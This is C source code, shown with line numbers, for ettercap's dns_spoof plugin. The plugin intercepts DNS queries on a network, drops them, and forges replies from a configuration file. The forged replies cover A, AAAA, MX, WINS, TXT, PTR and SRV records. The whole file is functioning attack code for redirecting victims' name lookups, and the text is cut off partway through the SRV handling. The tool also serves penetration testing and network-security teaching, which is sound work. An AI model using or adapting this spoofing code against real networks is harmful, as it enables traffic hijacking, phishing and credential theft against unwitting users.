1 /*
2     dns_spoof -- ettercap plugin -- spoofs dns reply
3 
4     Copyright (C) ALoR & NaGA
5 
6     This program is free software; you can redistribute it and/or modify
7     it under the terms of the GNU General Public License as published by
8     the Free Software Foundation; either version 2 of the License, or
9     (at your option) any later version.
10 
11     This program is distributed in the hope that it will be useful,
12     but WITHOUT ANY WARRANTY; without even the implied warranty of
13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14     GNU General Public License for more details.
15 
16     You should have received a copy of the GNU General Public License
17     along with this program; if not, write to the Free Software
18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19 
20 */
21 
22 #include <ec.h>                        /* required for global variables */
23 #include <ec_plugins.h>                /* required for plugin ops */
24 #include <ec_file.h>
25 #include <ec_hook.h>
26 #include <ec_resolv.h>
27 #include <ec_send.h>
28 
29 #include <stdlib.h>
30 #include <string.h>
31 
32 #ifndef ns_t_wins
33 #define ns_t_wins 0xFF01      /* WINS name lookup */
34 #endif
35 
36 /* Maximum DNS TTL according to RFC 2181 = 2^31 - 1*/
37 #define MAX_DNS_TTL INT_MAX
38 
39 /* globals */
40 
41 struct dns_header {
42    u_int16 id;                /* DNS packet ID */
43 #ifdef WORDS_BIGENDIAN
44    u_char  qr: 1;             /* response flag */
45    u_char  opcode: 4;         /* purpose of message */
46    u_char  aa: 1;             /* authoritative answer */
47    u_char  tc: 1;             /* truncated message */
48    u_char  rd: 1;             /* recursion desired */
49    u_char  ra: 1;             /* recursion available */
50    u_char  unused: 1;         /* unused bits */
51    u_char  ad: 1;             /* authentic data from named */
52    u_char  cd: 1;             /* checking disabled by resolver */
53    u_char  rcode: 4;          /* response code */
54 #else /* WORDS_LITTLEENDIAN */
55    u_char  rd: 1;             /* recursion desired */
56    u_char  tc: 1;             /* truncated message */
57    u_char  aa: 1;             /* authoritative answer */
58    u_char  opcode: 4;         /* purpose of message */
59    u_char  qr: 1;             /* response flag */
60    u_char  rcode: 4;          /* response code */
61    u_char  cd: 1;             /* checking disabled by resolver */
62    u_char  ad: 1;             /* authentic data from named */
63    u_char  unused: 1;         /* unused bits */
64    u_char  ra: 1;             /* recursion available */
65 #endif
66    u_int16 num_q;             /* Number of questions */
67    u_int16 num_answer;        /* Number of answer resource records */
68    u_int16 num_auth;          /* Number of authority resource records */
69    u_int16 num_res;           /* Number of additional resource records */
70 };
71 
72 struct dns_spoof_entry {
73    int   type;   /* ns_t_a, ns_t_mx, ns_t_ptr, ns_t_wins */
74    u_int32 ttl; /* 0 - 2^31-1 seconds */
75    char *name;
76    struct ip_addr ip;
77    u_int16 port;
78    char *text;
79    SLIST_ENTRY(dns_spoof_entry) next;
80 };
81 
82 struct rr_entry {
83    u_char *data;
84    int size;
85    SLIST_ENTRY(rr_entry) next;
86 };
87 
88 static SLIST_HEAD(, dns_spoof_entry) dns_spoof_head;
89 static SLIST_HEAD(, rr_entry) answer_list;
90 static SLIST_HEAD(, rr_entry) authority_list;
91 static SLIST_HEAD(, rr_entry) additional_list;
92 
93 /* protos */
94 
95 int plugin_load(void *);
96 static int dns_spoof_init(void *);
97 static int dns_spoof_fini(void *);
98 static int load_db(void);
99 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p);
100 static void dns_spoof(struct packet_object *po);
101 static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len, int *n_answ, int *n_auth, int *n_addi);
102 static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl);
103 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl);
104 static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl);
105 static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl);
106 static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl);
107 static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl);
108 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl);
109 char *type_str(int type);
110 static void dns_spoof_dump(void);
111 
112 /* plugin operations */
113 
114 struct plugin_ops dns_spoof_ops = {
115    /* ettercap version MUST be the global EC_VERSION */
116    .ettercap_version =  EC_VERSION,
117    /* the name of the plugin */
118    .name =              "dns_spoof",
119     /* a short description of the plugin (max 50 chars) */
120    .info =              "Sends spoofed dns replies",
121    /* the plugin version. */
122    .version =           "1.3",
123    /* activation function */
124    .init =              &dns_spoof_init,
125    /* deactivation function */
126    .fini =              &dns_spoof_fini,
127 };
128 
129 /**********************************************************/
130 
131 /* this function is called on plugin load */
plugin_load(void * handle)132 int plugin_load(void *handle)
133 {
134    /* load the database of spoofed replies (etter.dns)
135     * return an error if we could not open the file
136     */
137    if (load_db() != E_SUCCESS)
138       return -E_INVALID;
139 
140    dns_spoof_dump();
141    return plugin_register(handle, &dns_spoof_ops);
142 }
143 
144 /*********************************************************/
145 
dns_spoof_init(void * dummy)146 static int dns_spoof_init(void *dummy)
147 {
148    /* variable not used */
149    (void) dummy;
150 
151    /*
152     * add the hook in the dissector.
153     * this will pass only valid dns packets
154     */
155    hook_add(HOOK_PROTO_DNS, &dns_spoof);
156 
157    return PLUGIN_RUNNING;
158 }
159 
160 
dns_spoof_fini(void * dummy)161 static int dns_spoof_fini(void *dummy)
162 {
163    struct dns_spoof_entry *d;
164 
165    /* variable not used */
166    (void) dummy;
167 
168    /* remove the hook */
169    hook_del(HOOK_PROTO_DNS, &dns_spoof);
170 
171    /* Free dynamically allocated memory */
172    while (!SLIST_EMPTY(&dns_spoof_head)) {
173       d = SLIST_FIRST(&dns_spoof_head);
174       SLIST_REMOVE_HEAD(&dns_spoof_head, next);
175       SAFE_FREE(d->name);
176       SAFE_FREE(d->text);
177       SAFE_FREE(d);
178    }
179 
180 
181    return PLUGIN_FINISHED;
182 }
183 
184 
185 /*
186  * load the database in the list
187  */
load_db(void)188 static int load_db(void)
189 {
190    struct dns_spoof_entry *d;
191    FILE *f;
192    char line[100+255+10+1];
193    char *ptr, *ip, *name;
194    u_int32 ttl;
195    int lines = 0, type;
196    u_int16 port = 0;
197 
198    /* open the file */
199    f = open_data("etc", ETTER_DNS, FOPEN_READ_TEXT);
200    if (f == NULL) {
201       USER_MSG("dns_spoof: Cannot open %s\n", ETTER_DNS);
202       return -E_INVALID;
203    }
204 
205    /* load it in the list */
206    while (fgets(line, 100+255+10+1, f)) {
207       /* count the lines */
208       lines++;
209 
210       /* trim comments */
211       if ( (ptr = strchr(line, '#')) )
212          *ptr = '\0';
213 
214       /* skip empty lines */
215       if (!*line || *line == '\r' || *line == '\n')
216          continue;
217 
218       /* strip apart the line */
219       if (!parse_line(line, lines, &type, &ip, &port,  &name, &ttl))
220          continue;
221 
222       /* create the entry */
223       SAFE_CALLOC(d, 1, sizeof(struct dns_spoof_entry));
224       d->name = strdup(name);
225       if (d->name == NULL) {
226         USER_MSG("dns_spoof: Unable to allocate memory for d->name\n");
227         return -E_INVALID;
228       }
229       d->type = type;
230       d->port = port;
231       d->text = NULL;
232       d->ttl = ttl;
233 
234       /* convert the ip address */
235       if (type == ns_t_txt) {
236          /* Nothing to convert for TXT - just copy the string */
237          d->text = strndup(ip, 255);
238         if (d->text == NULL) {
239            USER_MSG("dns_spoof: Unable to allocate memory for d->text\n");
240            free(d->name);
241            free(d);
242            return -E_INVALID;
243         }
244       }
245       else if (ip_addr_pton(ip, &d->ip) != E_SUCCESS) {
246          /* neither IPv4 nor IPv6 - throw a message and skip line */
247          USER_MSG("dns_spoof: %s:%d Invalid IPv4 or IPv6 address\n", ETTER_DNS, lines);
248          SAFE_FREE(d);
249          continue;
250       }
251 
252       /* insert in the list */
253       SLIST_INSERT_HEAD(&dns_spoof_head, d, next);
254    }
255 
256    fclose(f);
257 
258    return E_SUCCESS;
259 }
260 
261 /*
262  * Parse line on format "<name> <type> <IP-addr> <ttl>".
263  */
parse_line(const char * str,int line,int * type_p,char ** ip_p,u_int16 * port_p,char ** name_p,u_int32 * ttl_p)264 static int parse_line(const char *str, int line, int *type_p, char **ip_p, u_int16 *port_p, char **name_p, u_int32 *ttl_p)
265 {
266    static char name[100+1];
267    static char ip[MAX_ASCII_ADDR_LEN];
268    static u_int16 port;
269    static u_int32 ttl;
270    char type[10+1];
271 
272    DEBUG_MSG("%s:%d str '%s'", ETTER_DNS, line, str);
273 
274    /* Set default TTL of 1 hour if not specified */
275    ttl = 3600;
276 
277    /* TTL is optional therefore only require 3 options here */
278    if (sscanf(str,"%100s %10s %40[^\r\n# ] %u", name, type, ip, &ttl) < 3) {
279       USER_MSG("dns_spoof: %s:%d Invalid entry '%s'\n", ETTER_DNS, line, str);
280       return (0);
281    }
282 
283    /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */
284    if (ttl > MAX_DNS_TTL) ttl = 3600;
285 
286    *ttl_p = ttl;
287 
288    if (!strcasecmp(type,"PTR")) {
289       if (strpbrk(name,"*?[]")) {
290          USER_MSG("dns_spoof: %s:%d Wildcards in PTR records are not allowed; %s\n",
291                   ETTER_DNS, line, str);
292          return (0);
293       }
294       *type_p = ns_t_ptr;
295       *name_p = name;
296       *ip_p = ip;
297       return (1);
298    }
299 
300    if (!strcasecmp(type,"A")) {
301       *type_p = ns_t_a;
302       *name_p = name;
303       *ip_p = ip;
304       return (1);
305    }
306 
307    if (!strcasecmp(type,"AAAA")) {
308       *type_p = ns_t_aaaa;
309       *name_p = name;
310       *ip_p = ip;
311       return (1);
312    }
313 
314    if (!strcasecmp(type,"MX")) {
315       *type_p = ns_t_mx;
316       *name_p = name;
317       *ip_p = ip;
318       return (1);
319    }
320 
321    if (!strcasecmp(type,"WINS")) {
322       *type_p = ns_t_wins;
323       *name_p = name;
324       *ip_p = ip;
325       return (1);
326    }
327 
328    if (!strcasecmp(type, "TXT")) {
329       char txt[256];
330 
331       /* rescan line as spaces are supported in TXT records */
332       if (sscanf(str,"%100s %10s \"%255[^\r\n#\"]\" %u", name, type, txt, &ttl) < 3) {
333          USER_MSG("dns_spoof: %s:%d Invalid entry %s\n", ETTER_DNS, line, str);
334          return 0;
335       }
336 
337       if (ttl > MAX_DNS_TTL) ttl = 3600; /* keep TTL within DNS standard limits (2^31 - 1) - see RFC 2181 */
338 
339       *type_p = ns_t_txt;
340       *name_p = name;
341       *ip_p = txt;
342       *ttl_p = ttl;
343       return (1);
344    }
345 
346    if (!strcasecmp(type, "SRV")) {
347       /*
348        * SRV records have different syntax
349        */
350       static char ip_tmp[MAX_ASCII_ADDR_LEN];
351       if (ec_strsplit_ipport(ip, ip_tmp, &port)) {
352          USER_MSG("dns_spoof: %s:%d Unknown syntax for SRV record; %s\n",
353                   ETTER_DNS, line, str);
354          return (0);
355       }
356 
357       *type_p = ns_t_srv;
358       *name_p = name;
359       *ip_p = ip_tmp;
360       *port_p = port;
361       return (1);
362    }
363 
364    USER_MSG("dns_spoof: %s:%d Unknown record type %s\n", ETTER_DNS, line, type);
365    return (0);
366 }
367 
368 /*
369  * parse the packet and send the fake reply
370  */
dns_spoof(struct packet_object * po)371 static void dns_spoof(struct packet_object *po)
372 {
373    struct dns_header *dns;
374    struct rr_entry *rr;
375    struct iface_env *iface;
376    u_char *data, *end, *dns_reply;
377    char name[NS_MAXDNAME];
378    int name_len, dns_len, dns_off, n_answ, n_auth, n_addi;
379    u_char *q;
380    int16 class;
381    u_int16 type;
382 
383    dns = (struct dns_header *)po->DATA.data;
384    data = (u_char *)(dns + 1);
385    end = (u_char *)dns + po->DATA.len;
386 
387    n_answ = 0;
388    n_auth = 0;
389    n_addi = 0;
390 
391    /* extract the name from the packet */
392    name_len = dn_expand((u_char *)dns, end, data, name, sizeof(name));
393 
394    /* move pointer behind the domain name */
395    q = data + name_len;
396 
397    /* get the type and class */
398    NS_GET16(type, q);
399    NS_GET16(class, q);
400 
401    /* set initial dns reply length to the length of the question */
402    dns_len = q - data;
403 
404 
405    /* handle only internet class */
406    if (class != ns_c_in)
407       return;
408 
409    /* we are interested only in DNS query */
410    if ( (!dns->qr) && dns->opcode == ns_o_query && htons(dns->num_q) == 1 && htons(dns->num_answer) == 0) {
411 
412       /*
413        * If we are interested in this DNS query this function returns E_SUCCESS.
414        * The DNS reply data is stored in one or more of the single linked lists
415        *  1. answer_list
416        *  2. authority_list
417        *  3. additional_list.
418        * Below, the lists have to be processes in this order and concatenated to the
419        * query in memory.
420        */
421       if (prepare_dns_reply(data, name, type, &dns_len,
422                             &n_answ, &n_auth, &n_addi) != E_SUCCESS)
423          return;
424 
425       /*
426        * do nothing if we haven't prepared anything
427        * this can happen with ANY queries
428        */
429       if (dns_len <= q - data)
430          return;
431 
432       /* Do not forward query */
433       po->flags |= PO_DROPPED;
434 
435       /* set incoming interface as outgoing interface for reply */
436       iface = po->flags & PO_FROMIFACE ? EC_GBL_IFACE : EC_GBL_BRIDGE;
437 
438       /* allocate memory for the dns reply */
439       SAFE_CALLOC(dns_reply, dns_len, sizeof(u_int8));
440 
441       /*
442        * fill the buffer with the content of the request
443        * we will append the answer just behind the request
444        */
445       memcpy(dns_reply, data, q - data);
446       dns_off = q - data;
447 
448       /* collect answers and free list items in one go */
449       while (!SLIST_EMPTY(&answer_list)) {
450          rr = SLIST_FIRST(&answer_list);
451          /* make sure not to exceed allocated memory */
452          if (dns_off + rr->size <= dns_len) {
453             /* serialize data */
454             memcpy(dns_reply + dns_off, rr->data, rr->size);
455             dns_off += rr->size;
456          }
457          /* data not needed any longer - free it */
458          SLIST_REMOVE_HEAD(&answer_list, next);
459          SAFE_FREE(rr->data);
460          SAFE_FREE(rr);
461       }
462 
463       /* collect authority and free list items in one go */
464       while (!SLIST_EMPTY(&authority_list)) {
465          rr = SLIST_FIRST(&authority_list);
466          /* make sure not to exceed allocated memory */
467          if (dns_off + rr->size <= dns_len) {
468             /* serialize data */
469             memcpy(dns_reply + dns_off, rr->data, rr->size);
470             dns_off += rr->size;
471          }
472          /* data not needed any longer - free it */
473          SLIST_REMOVE_HEAD(&authority_list, next);
474          SAFE_FREE(rr->data);
475          SAFE_FREE(rr);
476       }
477 
478       /* collect additional and free list items in one go */
479       while (!SLIST_EMPTY(&additional_list)) {
480          rr = SLIST_FIRST(&additional_list);
481          /* make sure not to exceed allocated memory */
482          if (dns_off + rr->size <= dns_len) {
483             /* serialize data */
484             memcpy(dns_reply + dns_off, rr->data, rr->size);
485             dns_off += rr->size;
486          }
487          /* data not needed any longer - free it */
488          SLIST_REMOVE_HEAD(&additional_list, next);
489          SAFE_FREE(rr->data);
490          SAFE_FREE(rr);
491       }
492 
493       /* send the reply */
494       send_dns_reply(iface, po->L4.src, &po->L3.dst, &po->L3.src, po->L2.src,
495                   ntohs(dns->id), dns_reply, dns_len, n_answ, n_auth, n_addi);
496 
497       /* spoofed DNS reply sent - free memory */
498       SAFE_FREE(dns_reply);
499 
500    }
501 
502 
503 }
504 
505 /*
506  * checks if a spoof entry extists for the name and type
507  * the answer is prepared and stored in the global lists
508  *  - answer_list
509  *  - authority_list
510  *  - additional_list
511  */
prepare_dns_reply(u_char * data,const char * name,int type,int * dns_len,int * n_answ,int * n_auth,int * n_addi)512 static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_len,
513                              int *n_answ, int *n_auth, int *n_addi)
514 {
515    struct ip_addr *reply;
516    struct rr_entry *rr;
517    bool is_negative;
518    int len;
519    u_int32 ttl, dns_ttl;
520    u_char *answer, *p;
521    char tmp[MAX_ASCII_ADDR_LEN];
522 
523    /* set TTL to 1 hour by default or in case something goes wrong */
524    ttl = 3600;
525    dns_ttl = htonl(ttl); /* reorder bytes for network stuff */
526 
527    /* by default we want to spoof actual data */
528    is_negative = false;
529 
530    /* it is and address resolution (name to ip) */
531    if (type == ns_t_a || type == ns_t_any) {
532 
533       /* found the reply in the list */
534       if (get_spoofed_a(name, &reply, &ttl) != E_SUCCESS) {
535           /* in case of ANY we have to proceed with the next section */
536           if (type == ns_t_any)
537             goto any_aaaa;
538           else
539             return -E_NOTFOUND;
540       }
541 
542       /* check if the family matches the record type */
543       if (ntohs(reply->addr_type) != AF_INET) {
544          USER_MSG("dns_spoof: can not spoof A record for %s "
545                   "because the value is not a IPv4 address\n", name);
546          return -E_INVALID;
547       }
548 
549       /*
550        * When spoofed IP address is undefined address, we stop
551        * processing of this section by spoofing a negative-cache reply
552        */
553       if (ip_addr_is_zero(reply)) {
554          /*
555           * we want to answer this requests with a negative-cache reply
556           * instead of spoofing a IP address
557           */
558          is_negative = true;
559 
560       } else {
561 
562          /* allocate memory for the answer */
563          len = 12 + IP_ADDR_LEN;
564          SAFE_CALLOC(answer, len, sizeof(u_char));
565          p = answer;
566 
567          /* convert to network-byte order */
568          dns_ttl = htonl(ttl);
569 
570          /* prepare the answer */
571          memcpy(p, "\xc0\x0c", 2);                        /* compressed name offset */
572          memcpy(p + 2, "\x00\x01", 2);                    /* type A */
573          memcpy(p + 4, "\x00\x01", 2);                    /* class */
574          memcpy(p + 6, &dns_ttl, 4);                      /* TTL */
575          memcpy(p + 10, "\x00\x04", 2);                   /* datalen */
576          ip_addr_cpy(p + 12, reply);                      /* data */
577 
578          /* insert the answer into the list */
579          SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
580          rr->data = answer;
581          rr->size = len;
582          SLIST_INSERT_HEAD(&answer_list, rr, next);
583          *dns_len += len;
584          *n_answ += 1;
585 
586          USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
587                type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
588       }
589    } /* A */
590 
591 any_aaaa:
592 
593    /* also care about AAAA records */
594    if (type == ns_t_aaaa || type == ns_t_any) {
595 
596        /* found the reply in the list */
597        if (get_spoofed_aaaa(name, &reply, &ttl) != E_SUCCESS) {
598           /* in case of ANY we have to proceed with the next section */
599           if (type == ns_t_any)
600              goto any_mx;
601           else
602              return -E_NOTFOUND;
603        }
604 
605        /* check if the family matches the record type */
606        if (ntohs(reply->addr_type) != AF_INET6) {
607           USER_MSG("dns_spoof: can not spoof AAAA record for %s "
608                    "because the value is not a IPv6 address\n", name);
609           return -E_INVALID;
610        }
611 
612       /*
613        * When spoofed IP address is undefined address, we stop
614        * processing of this section by spoofing a negative-cache reply
615        */
616       if (ip_addr_is_zero(reply)) {
617          /*
618           * we want to answer this requests with a negative-cache reply
619           * instead of spoofing a IP address
620           */
621          is_negative = true;
622 
623       } else {
624 
625          /* allocate memory for the answer */
626          len = 12 + IP6_ADDR_LEN;
627          SAFE_CALLOC(answer, len, sizeof(u_char));
628          p = answer;
629 
630          /* convert to network-byte order */
631          dns_ttl = htonl(ttl);
632 
633          /* prepare the answer */
634          memcpy(p, "\xc0\x0c", 2);             /* compressed name offset */
635          memcpy(p + 2, "\x00\x1c", 2);         /* type AAAA */
636          memcpy(p + 4, "\x00\x01", 2);         /* class IN */
637          memcpy(p + 6, &dns_ttl, 4);           /* TTL */
638          memcpy(p + 10, "\x00\x10", 2);        /* datalen */
639          ip_addr_cpy(p + 12, reply);           /* data */
640 
641          /* insert the answer into the list */
642          SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
643          rr->data = answer;
644          rr->size = len;
645          SLIST_INSERT_HEAD(&answer_list, rr, next);
646          *dns_len += len;
647          *n_answ += 1;
648 
649          USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
650                   type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
651       }
652    } /* AAAA */
653 
654 any_mx:
655 
656    /* it is an MX query (mail to ip) */
657    if (type == ns_t_mx || type == ns_t_any) {
658 
659       /* found the reply in the list */
660       if (get_spoofed_mx(name, &reply, &ttl) != E_SUCCESS) {
661           /* in case of ANY we have to proceed with the next section */
662           if (type == ns_t_any)
663             goto any_wins;
664           else
665             return -E_NOTFOUND;
666       }
667 
668       /* allocate memory for the answer */
669       len = 12 + 2 + 7;
670       SAFE_CALLOC(answer, len, sizeof(u_char));
671       p = answer;
672 
673       /* convert to network-byte order */
674       dns_ttl = htonl(ttl);
675 
676       /* prepare the answer */
677       memcpy(p, "\xc0\x0c", 2);                          /* compressed name offset */
678       memcpy(p + 2, "\x00\x0f", 2);                      /* type MX */
679       memcpy(p + 4, "\x00\x01", 2);                      /* class */
680       memcpy(p + 6, &dns_ttl, 4);                        /* TTL */
681       memcpy(p + 10, "\x00\x09", 2);                     /* datalen */
682       memcpy(p + 12, "\x00\x0a", 2);                     /* preference (highest) */
683       /*
684        * add "mail." in front of the domain and
685        * resolve it in the additional record
686        * (here `mxoffset' is pointing at)
687        */
688       memcpy(p + 14, "\x04mail\xc0\x0c", 7); /* mx record */
689 
690       /* insert the answer into the list */
691       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
692       rr->data = answer;
693       rr->size = len;
694       SLIST_INSERT_HEAD(&answer_list, rr, next);
695       *dns_len += len;
696       *n_answ += 1;
697 
698       /* add the additional record for the spoofed IPv4 address*/
699       if (ntohs(reply->addr_type) == AF_INET) {
700 
701          /* allocate memory for the additional record */
702          len = 17 + IP_ADDR_LEN;
703          SAFE_CALLOC(answer, len, sizeof(u_char));
704          p = answer;
705 
706          /* prepare the additinal record */
707          memcpy(p, "\x04mail\xc0\x0c", 7);             /* compressed name offset */
708          memcpy(p + 7, "\x00\x01", 2);                 /* type A */
709          memcpy(p + 9, "\x00\x01", 2);                 /* class */
710          memcpy(p + 11, &dns_ttl, 4);                  /* TTL */
711          memcpy(p + 15, "\x00\x04", 2);                /* datalen */
712          ip_addr_cpy(p + 17, reply);                   /* data */
713       }
714       /* add the additional record for the spoofed IPv6 address*/
715       else if (ntohs(reply->addr_type) == AF_INET6) {
716 
717          /* allocate memory for the additional record */
718          len = 17 + IP6_ADDR_LEN;
719          SAFE_CALLOC(answer, len, sizeof(u_char));
720          p = answer;
721 
722          /* prepare the additional record */
723          memcpy(p, "\x04mail\xc0\x0c", 7);            /* compressed name offset */
724          memcpy(p + 7, "\x00\x1c", 2);                /* type AAAA */
725          memcpy(p + 9, "\x00\x01", 2);                /* class */
726          memcpy(p + 11, &dns_ttl, 4);                 /* TTL */
727          memcpy(p + 15, "\x00\x10", 2);               /* datalen */
728          ip_addr_cpy(p + 17, reply);                  /* data */
729       }
730       else {
731           /* IP address not valid - abort */
732           return -E_INVALID;
733       }
734 
735       /* insert the answer into the list */
736       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
737       rr->data = answer;
738       rr->size = len;
739       SLIST_INSERT_HEAD(&additional_list, rr, next);
740       *dns_len += len;
741       *n_addi += 1;
742 
743       USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
744             type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
745 
746    } /* MX */
747 
748 any_wins:
749 
750    /* it is an WINS query (NetBIOS-name to ip) */
751    if (type == ns_t_wins || type == ns_t_any) {
752 
753       /* found the reply in the list */
754       if (get_spoofed_wins(name, &reply, &ttl) != E_SUCCESS) {
755           /* in case of ANY we have to proceed with the next section */
756           if (type == ns_t_any)
757             goto any_txt;
758           else
759             return -E_NOTFOUND;
760       }
761 
762       if (ntohs(reply->addr_type) != AF_INET)
763          /* XXX - didn't find any documentation about this standard
764           * and if type WINS RR only supports IPv4
765           */
766          return -E_INVALID;
767 
768       /* allocate memory for the answer */
769       len = 12 + IP_ADDR_LEN;
770       SAFE_CALLOC(answer, len, sizeof(u_char));
771       p = answer;
772 
773       /* convert to network-byte order */
774       dns_ttl = htonl(ttl);
775 
776       /* prepare the answer */
777       memcpy(p, "\xc0\x0c", 2);                        /* compressed name offset */
778       memcpy(p + 2, "\xff\x01", 2);                    /* type WINS */
779       memcpy(p + 4, "\x00\x01", 2);                    /* class IN */
780       memcpy(p + 6, &dns_ttl, 4);                      /* TTL */
781       memcpy(p + 10, "\x00\x04", 2);                   /* datalen */
782       ip_addr_cpy((u_char*)p + 12, reply);             /* data */
783 
784       /* insert the answer into the list */
785       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
786       rr->data = answer;
787       rr->size = len;
788       SLIST_INSERT_HEAD(&answer_list, rr, next);
789       *dns_len += len;
790       *n_answ += 1;
791 
792       USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
793             type_str(type), name, ip_addr_ntoa(reply, tmp), ttl);
794 
795    }
796 
797 any_txt:
798 
799    /* it's a descriptive TXT record */
800    if (type == ns_t_txt || type == ns_t_any) {
801       char *txt;
802       u_int8 txtlen;
803       u_int16 datalen;
804 
805       /* found the reply in the list */
806       if (get_spoofed_txt(name, &txt, &ttl) != E_SUCCESS) {
807          /* in case of ANY we have to proceed with the next section */
808          if (type == ns_t_any)
809             goto exit;
810          else
811             return -E_NOTFOUND;
812       }
813 
814       txtlen = strlen(txt);
815       datalen = htons(txtlen + 1);
816 
817       /* allocate memory for the answer */
818       len = 13 + txtlen;
819       SAFE_CALLOC(answer, len, sizeof(u_char));
820       p = answer;
821 
822       /* convert to network-byte order */
823       dns_ttl = htonl(ttl);
824 
825       /* prepare the answer */
826       memcpy(p,     "\xc0\x0c", 2);         /* compressed name offset */
827       memcpy(p + 2, "\x00\x10", 2);         /* type TXT */
828       memcpy(p + 4, "\x00\x01", 2);         /* class IN */
829       memcpy(p + 6, &dns_ttl, 4);           /* TTL */
830       memcpy(p + 10, &datalen, 2);          /* data len */
831       memcpy(p + 12, &txtlen, 1);           /* TXT len */
832       memcpy(p + 13, txt, txtlen);          /* string */
833 
834       /* insert the answer into the list */
835       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
836       rr->data = answer;
837       rr->size = len;
838       SLIST_INSERT_HEAD(&answer_list, rr, next);
839       *dns_len += len;
840       *n_answ += 1;
841 
842       USER_MSG("dns_spoof: %s [%s] spoofed to \"%s\" TTL [%u s]\n",
843                type_str(type), name, txt, ttl);
844    } /* TXT */
845 
846    /* it is a reverse query (ip to name) */
847    if (type == ns_t_ptr) {
848 
849       u_char *answer, *p;
850       char *a;
851       u_char buf[256];
852       int rlen;
853 
854       /* found the reply in the list */
855       if (get_spoofed_ptr(name, &a, &ttl) != E_SUCCESS)
856          return -E_NOTFOUND;
857 
858       /* compress the string into the buffer */
859       rlen = dn_comp(a, buf, 256, NULL, NULL);
860 
861       /* allocate memory for the answer */
862       len = 12 + rlen;
863       SAFE_CALLOC(answer, len, sizeof(u_char));
864       p = answer;
865 
866       /* convert to network-byte order */
867       dns_ttl = htonl(ttl);
868 
869       /* prepare the answer */
870       memcpy(p, "\xc0\x0c", 2);                        /* compressed name offset */
871       memcpy(p + 2, "\x00\x0c", 2);                    /* type PTR */
872       memcpy(p + 4, "\x00\x01", 2);                    /* class */
873       memcpy(p + 6, &dns_ttl, 4);                      /* TTL */
874       /* put the length before the dn_comp'd string */
875       p += 10;
876       NS_PUT16(rlen, p);
877       p -= 12;
878       memcpy(p + 12, buf, rlen);
879 
880       /* insert the answer into the list */
881       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
882       rr->data = answer;
883       rr->size = len;
884       SLIST_INSERT_HEAD(&answer_list, rr, next);
885       *dns_len += len;
886       *n_answ += 1;
887 
888       USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n",
889             type_str(type), name, a, ttl);
890 
891    } /* PTR */
892 
893    /* it is a SRV query (service discovery) */
894    if (type == ns_t_srv) {
895 
896       char tgtoffset[2];
897       u_int16 port;
898       int dn_offset = 0;
899 
900 
901       /* found the reply in the list */
902       if (get_spoofed_srv(name, &reply, &port, &ttl) != E_SUCCESS)
903          return -E_NOTFOUND;
904 
905       /* allocate memory for the answer */
906       len = 24;
907       SAFE_CALLOC(answer, len, sizeof(u_char));
908       p = answer;
909 
910       /*
911        * to refer the target to a proper domain name, we have to strip the
912        * service and protocol label from the questioned domain name
913        */
914       dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/
915       dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */
916 
917       /* avoid offset overrun */
918       if (dn_offset + 12 > 255) {
919          dn_offset = 0;
920       }
921 
922       tgtoffset[0] = 0xc0; /* offset byte */
923       tgtoffset[1] = 12 + dn_offset; /* offset to the actual domain name */
924 
925       /* convert to network-byte order */
926       dns_ttl = htonl(ttl);
927 
928       /* prepare the answer */
929       memcpy(p, "\xc0\x0c", 2);                    /* compressed name offset */
930       memcpy(p + 2, "\x00\x21", 2);                /* type SRV */
931       memcpy(p + 4, "\x00\x01", 2);                /* class IN */
932       memcpy(p + 6, &dns_ttl, 4);                  /* TTL */
933       memcpy(p + 10, "\x00\x0c", 2);               /* data length */
934       memcpy(p + 12, "\x00\x00", 2);               /* priority */
935       memcpy(p + 14, "\x00\x00", 2);               /* weight */
936       p+=16;
937       NS_PUT16(port, p);                           /* port */
938       p-=18;
939       /*
940        * add "srv." in front of the stripped domain
941        * name and resolve it in the additional
942        * record (here `srvoffset' is pointing at)
943        */
944       memcpy(p + 18, "\x03srv", 4);                /* target */
945       memcpy(p + 22, tgtoffset, 2);                /* compressed name offset */
946 
947       /* insert the answer into the list */
948       SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
949       rr->data = answer;
950       rr->size = len;
951       SLIST_INSERT_HEAD(&answer_list, rr, next);
952       *dns_len += len;
953       *n_answ += 1;
954 
955       /* add the additional record for the spoofed IPv4 address */
956       if (ntohs(reply->addr_type) == AF_INET) {
957 
958          /* allocate memory for the additional record */
959          len = 16 + IP_ADDR_LEN;
960          SAFE_CALLOC(answer, len, sizeof(u_char));
961          p = answer;
962 
963          /* prepare the additional record */
964          memcpy(p, "\x03srv", 4);                 /* target */
965          memcpy(p + 4, tgtoffset, 2);             /* compressed name offset */
966          memcpy(p + 6, "\x00\x01", 2);            /* type A */
